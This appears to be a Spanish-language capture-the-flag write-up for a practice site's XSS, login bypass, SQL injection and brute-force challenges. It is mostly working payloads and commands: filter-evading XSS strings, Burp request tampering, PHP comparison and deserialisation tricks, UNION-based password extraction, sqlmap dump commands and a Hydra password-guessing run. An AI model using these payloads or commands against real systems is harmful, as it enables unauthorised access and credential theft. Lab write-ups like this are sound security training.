XSS
XSS 1
- Introducir en el buscador
"><script>alert('XSS')</script>
XSS 2
- Intentando el mismo script que en el 1 vemos que la palabra script se omite
- Probamos a enmascarar dicha palabra con el comando
<sscriptcript>alert('XSS');</sscriptcript>
XSS 3
- Sigue el patr贸n:
<<sscript>alert('XSS')<<//script>
- Esquivamos el filtrado del car谩cter
<s
con<<ss
- Esquivamos el filtrado del car谩cter
</
con<<//
- Como al intrentar meter XSS da el objeto undefined, probamos con
""
- Como no traga XSS, lo encodeamos con
String.fromCharCode(88, 83, 83)
<<sscript>alert(String.fromCharCode(88, 83, 83))<<//script>
XSS 4
- Falta meter el evento:
hacker' onload='alert()'
- Posible:
hacker' onerror='alert("XSS")'
|
|
- Este funciona:
https://warzone.wsg127.com/xsschallenges/xss4?name=../static/img/bg2.jpg%27%20onload=%27document.body.innerHTML=%22\u003cimg%20src=x%20onerror=alert\u0028\%22XSS\%22\u0029\u003e%22;%27%20width=%27200
- Funciona:
https://warzone.wsg127.com/xsschallenges/xss4?name=../static/img/bg2.jpg%27%20onload=%27document.body.innerHTML=%22\u003cbutton%20onclick=alert\u0028\%22XSS\%22\u0029\u003eXSS\u003c/button\u003e%22;%27%20width=%27200
- Prueba:
<img src="ruta_de_tu_imagen" onload="document.body.appendChild(Object.assign(document.createElement('script'),{text: 'alert(1)'}))">
https://warzone.wsg127.com/xsschallenges/xss4?name=../static/img/bg2.jpg%27%20onload=%27document.body.appendChild\u0028Object.assign\u0028document.createElement\u0028\"script\"\u0029,{text: \"alert\u00281\u0029\"}\u0029\u0029%27%20width=%27200
XSS 5
- Interesante:
https://warzone.wsg127.com/xsschallenges/xss5?name=%22%3E%3Cobject%20data=eval
alert`1``` - Funciona:
"><iframe%20src="http://localhost:8000/xss.html
- Ejecutar un servidor local con python
- Crear este archivo:
|
|
Este funciona en w3cschools:
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4"></iframe>
- Codeas:
<script>alert('XSS')</script>
- Codeas:
Resultado final:
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4"></iframe>
XSS 6
- Este es el c贸digo en JSFuck equivalente a
alert('XSS');
, recordar marcar la opcion all suported environments - Usar la web:
https://www.jscrew.it/
|
|
XSS 7
- Funciona pero sin flag:
https://warzone.wsg127.com/xsschallenges/xss7?name=\\\\\\\\\%22;alert
\u0058\u0053\u0053;//
- Funciona sin flag:
|
|
- FUNCIONA CON FLAG:
|
|
Login Bypass
Login Bypass 1
- Vamos a iniciar BurpSuite y a ponerlo en modo de intercepci贸n
- Ponemos el proxy para que Burp lo intercepte
- Interceptamos la petici贸n username:
admin
password:a
- Nos fijamos en el elemento que marca isAdmin a
False
y lo ponemos aTrue
- Obtenemos la flag
Login Bypass 2
- Vamos a iniciar BurpSuite y a ponerlo en modo de intercepci贸n
- Ponemos el proxy para que Burp lo intercepte
- Interceptamos la petici贸n username:
admin
password:admin
- Nos fijamos en los campos que se introducen: username, password_ y password
- Aprovechamos la vulnerabilidad del error de comparaciones de PHP
- Obtenemos la flag
Login Bypass 3
- Miramos el c贸digo fuente de la p谩gina, y nos fijamos en un script que hay a la vista
- Nos fijamos en que est谩n los valores en texto plano del usuario y la contrase帽a
- Introducimos el usuario
admin
y la contrase帽asupersecret
, y obtenemos la flag
Login Bypass 4
Encontramos lo que parece una credencial codificada en base64 y parece ser un array serializado de PHP:
YToyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjt9
->a:2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}
SI probamos a modificar los valores con
[]
obtenemos el siguiente error:**Warning**: htmlentities() expects parameter 1 to be string, array given in **/var/www/html/retos/bypass_login4/index.php** on line **44**
Soluci贸n: modificar la credencial enviada con burpsuite en el repeater (en la petici贸n GET)
- Enlaces de inter茅s sobre Authentication bypass via insecure Deserialisation
- Este se帽or es un jefazo: TraceTheCode
Login Bypass 5
- Si alteramos la petici贸n y ponemos en password:
password[password]=1
, obtenemos el siguiente error:**Warning**: strcmp() expects parameter 1 to be string, array given in **/var/www/html/retos/bypass_login5/index.php** on line **31**
- Obtenemos la flag
SQLi
SQLi 1
- Introducimos el usuario
admin
con la contrase帽a' or '1'='1
- Vemos que dicho usuario se encuentra BlackListed (en lista negra)
- Probamos a acceder como usuario
guest
con la contrase帽a' or '1'='1
. Obtenemos la flag
SQLi 2
- Hacemos:
username=admin&password=' or '1'='1
. Como da error ya que or es una palabra blacklisted, tenemos que probar a usar otro operador
- Probamos a usar el operador
||
y vemos que funciona, pero ahora el operador=
tambi茅n es una palabrablacklisted
- Entonces, vamos a cambiar la funci贸n l贸gica para que en lugar de hacer el cl谩sico 1 = 1, se haga un 2 > 1 (que da siempre true tambi茅n). Funciona y obtenemos la clave
SQLi 3
- Usamos sqlmap con el siguiente comando para ver las bases de datos:
sqlmap -u "https://warzone.wsg127.com/sqlichallenges/sql3?username=guest\&password=* -- -" -p password --batch --dbs
. Encontramos la bbddsql3
- Dumpeamos la informaci贸n de la base de datos
sql3
con el comando:sqlmap -u "https://warzone.wsg127.com/sqlichallenges/sql3?username=guest\&password=* -- -" -p password --batch --dump -D sql3
. - Obtenemos la flag
SQLi 4
- Comprobamos que es vulnerable a sqli con el siguiente par谩metro:
search=admin' || '2'>'1
- Hacemos concatenaci贸n de queries para extraer la password del usuario admin teniendo en cuenta que el car谩cter
=
est谩 blacklisted. Usaremos el siguiente par谩metro:https://warzone.wsg127.com/sqlichallenges/sql4?search=admin%27%20UNION%20SELECT%20user_id,%20password%20FROM%20users%20WHERE%20username%20LIKE%20%27admin
- Obtenemos la flag
Brute Force
Brute Force 1
- Ejecutaremos el siguiente comando con la herramienta Hydra como root:
hydra -l admin -P /usr/share/wordlists/rockyou.txt warzone.wsg127.com http-get-form '/retos/bruteforce1/index.php:login=^USER^&password=^PASS^:Incorrect login/password!'
- Obtenemos la password:
thuglife
- Obtenemos la flag